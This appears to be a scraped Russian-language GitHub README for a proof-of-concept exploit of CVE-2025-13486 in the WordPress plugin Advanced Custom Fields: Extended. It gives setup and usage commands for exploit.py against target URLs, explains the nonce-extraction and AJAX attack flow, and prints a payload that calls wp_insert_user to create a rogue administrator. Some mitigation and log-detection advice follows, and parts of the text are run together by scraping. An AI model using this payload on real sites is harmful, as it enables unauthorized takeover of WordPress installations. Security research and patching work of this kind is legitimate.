
Advanced Custom Fields Extended (ACFE) WordPress Plugin Exploit RCE - Создание администратора
Эксплойт-доказательство концепции для CVE-2025-13486, критической уязвимости в плагине Advanced Custom Fields: Extended (ACFE) для WordPress, которая позволяет удаленное выполнение кода (RCE), приводящее к повышению привилегий.
| Аспект | Детали |
|---|---|
| CVE ID | CVE-2025-13486 |
| Плагин | Advanced Custom Fields: Extended (ACFE) |
| Тип | Удаленное выполнение кода → Повышение привилегий |
| Уровень риска | Критический |
| Затронутые версии | Уязвимые версии ACFE (конкретные версии TBD) |
| Оценка CVSS | 9.8 КРИТИЧЕСКИЙ |
| Дата обнаружения | 2025 |
| Автор | 0xgh057r3c0n |
⚠️ ПРЕДУПРЕЖДЕНИЕ: Этот инструмент предназначен ТОЛЬКО для авторизованного тестирования безопасности и образовательных целей.
✅ Разрешенное использование:
❌ Запрещенное использование:
Автор не несет ответственности за любое неправомерное использование этого инструмента. Всегда получайте надлежащее письменное разрешение перед тестированием любой системы.
print_rwp_insert_userrequests library# Clone repository
git clone https://github.com/0xgh057r3c0n/CVE-2025-13486.git
cd CVE-2025-13486
# Install dependencies
pip install requests
# Alternative: Install from requirements.txt
pip install -r requirements.txt
# Make script executable (Linux/Mac)
chmod +x exploit.py
Create a requirements.txt file:
requests>=2.25.1
python3 exploit.py --url <TARGET_URL> [OPTIONS]
python3 exploit.py --url http://target.com --verify
python3 exploit.py --url https://target.com
python3 exploit.py --url https://target.com \
--user backup_admin \
--password "P@ssw0rd123!" \
--email [email protected]
python3 exploit.py --url target.com --verify
Эксплойт использует неправильную обработку функций в конечной точке acfe/form/render_form_ajax плагина ACFE, позволяя злоумышленникам вызывать произвольные функции PHP.
1. URL Validation → Auto-detects HTTP/HTTPS
2. Nonce Extraction → Scans page for ACF nonce
3. Payload Construction → Builds malicious AJAX request
4. Request Execution → Sends exploit to target
5. Result Analysis → Checks for success indicators
// Vulnerable code pattern in ACFE
$result = call_user_func_array($form['render'], array($form));
// Exploit payload structure
{
"action": "acfe/form/render_form_ajax",
"nonce": "extracted_nonce",
"form[render]": "wp_insert_user",
"form[user_login]": "attacker_user",
"form[user_pass]": "attacker_pass",
"form[user_email]": "[email protected]",
"form[role]": "administrator"
}
# Recommended security plugins
1. Wordfence Security
2. Sucuri Security
3. iThemes Security
4. All In One WP Security
# Server-level protections
- Implement rate limiting
- Enable mod_security rules
- Use Cloudflare or similar CDN
- Regular security audits
/wp-admin/admin-ajax.phpaction=acfe/form/render_form_ajaxwp_insert_user через AJAX# Apache logs
grep "admin-ajax.php" /var/log/apache2/access.log | grep "acfe/form"
# WordPress debug logs
define('WP_DEBUG', true);
define('WP_DEBUG_LOG', true);
git checkout -b feature/improvement)git commit -am 'Add new feature')git push origin feature/improvement)Пожалуйста, сообщайте об ошибках и проблемах через:
CVE-2025-13486/
├── exploit.py # Main exploit script
├── README.md # This documentation
├── requirements.txt # Python dependencies
├── LICENSE # MIT License file
├── examples/ # Usage examples
│ ├── verification.txt
│ └── exploitation.txt
└── tests/ # Test scripts
├── test_verify.py
└── test_exploit.py
0xgh057r3c0n - Исследователь безопасности
Этот проект лицензируется в соответствии с лицензией MIT - подробности смотрите в файле LICENSE.
Создано с ❤️ для сообщества специалистов по безопасности
⚠️ Используйте ответственно и этично ⚠️
| Опция | Описание | Обязательно | По умолчанию |
|---|
-u, --url | URL целевого WordPress | Да | - |
--verify | Только проверка, без эксплуатации | Нет | False |
--user | Пользовательское имя администратора | Нет | admin_XXXXX |
--password | Пользовательский пароль администратора | Нет | Случайные 12 символов |
--email | Пользовательский email администратора | Нет | [email protected] |